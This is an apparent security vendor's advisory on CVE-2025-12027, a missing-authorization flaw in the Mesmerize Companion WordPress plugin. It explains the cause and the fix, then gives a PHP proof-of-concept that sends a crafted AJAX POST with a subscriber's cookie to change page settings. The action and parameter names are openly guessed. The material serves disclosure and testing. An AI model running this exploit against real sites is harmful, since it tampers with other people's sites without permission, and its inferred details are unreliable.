Atomic Edge analysis of CVE-2025-12027 (metadata-based):
This vulnerability is a missing authorization flaw in the Mesmerize Companion WordPress plugin, affecting versions up to and including 1.6.158. The flaw allows any authenticated user, including those with the low-privilege subscriber role, to modify page settings and metadata when the Mesmerize theme is active. The CVSS score of 4.3 (Medium) reflects a low integrity impact with no confidentiality or availability loss.
Atomic Edge research identifies the root cause as a missing capability check on the `openPageInCustomizer` and `openPageInDefaultEditor` functions. The CWE-862 classification confirms the absence of a proper authorization mechanism before performing sensitive actions. Without access to the source code diff, this conclusion is inferred from the CWE and the vulnerability description. The plugin likely registers these functions as AJAX handlers or admin-post actions without verifying the user has the `edit_posts` or `edit_pages` capability.
Exploitation requires an authenticated session. An attacker with subscriber credentials sends a crafted POST request to the WordPress AJAX endpoint (`/wp-admin/admin-ajax.php`). The request targets the vulnerable action, which Atomic Edge infers is named `mesmerize_companion_open_page_in_customizer` or a similar variant based on the plugin slug and function names. The payload includes parameters like `page_id` to target an arbitrary page and likely a `template` or `editor` flag to modify the metadata. No nonce check is present, as its absence is part of the vulnerability.
The remediation in version 1.6.162 likely added proper capability checks using `current_user_can()` within the vulnerable functions. The patch also likely introduced nonce verification for the AJAX requests to prevent CSRF. These are standard fixes for missing authorization vulnerabilities in WordPress plugins and are inferred from the CWE and common patching patterns.
Successful exploitation impacts data integrity. Attackers can mark arbitrary pages as maintainable, wrap page content in custom sections, alter page template metadata, and toggle the default editor flag. This could disrupt site layout, break page functionality, or create inconsistencies in the page management interface. The vulnerability does not lead to privilege escalation, remote code execution, or direct data exposure.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-12027 - Mesmerize Companion <= 1.6.158 - Missing Authorization Authenticated (Subscriber+) Settings Update
<?php
/**
* Proof-of-Concept for CVE-2025-12027.
* Assumptions based on metadata:
* 1. The vulnerable endpoint is /wp-admin/admin-ajax.php.
* 2. The AJAX action is derived from the function name 'openPageInCustomizer'.
* Common WordPress pattern: 'wp_ajax_{action}' hook, with action being 'mesmerize_companion_open_page_in_customizer'.
* 3. The attack requires a valid low-privilege (subscriber) WordPress session cookie.
* 4. The 'page_id' parameter is required to target a specific page.
* 5. No nonce or capability check is present.
*/
$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // CHANGE THIS
$cookie = 'wordpress_logged_in_abc=...'; // CHANGE THIS: Valid subscriber session cookie
// Target page ID (must exist on the site)
$page_id = 1;
// Prepare the POST data for the inferred AJAX action.
$post_fields = [
'action' => 'mesmerize_companion_open_page_in_customizer', // Inferred action name
'page_id' => $page_id,
// The description mentions toggling a default editor flag and marking as maintainable.
// Specific parameter names are unknown; 'editor' and 'maintainable' are plausible.
'editor' => 'default', // or 'customizer'
'maintainable' => 'true'
];
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Cookie: ' . $cookie
]);
// Execute and analyze response
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Status: $http_coden";
echo "Response: $responsen";
// A successful exploitation might return a '1' or a JSON success message.
// Check if the response indicates the page metadata was updated.
if ($http_code === 200 && (strpos($response, '1') !== false || strpos($response, 'success') !== false)) {
echo "[+] Potential exploitation successful. Page $page_id settings may have been modified.n";
} else {
echo "[-] Exploitation may have failed or the inferred parameters are incorrect.n";
}
?>
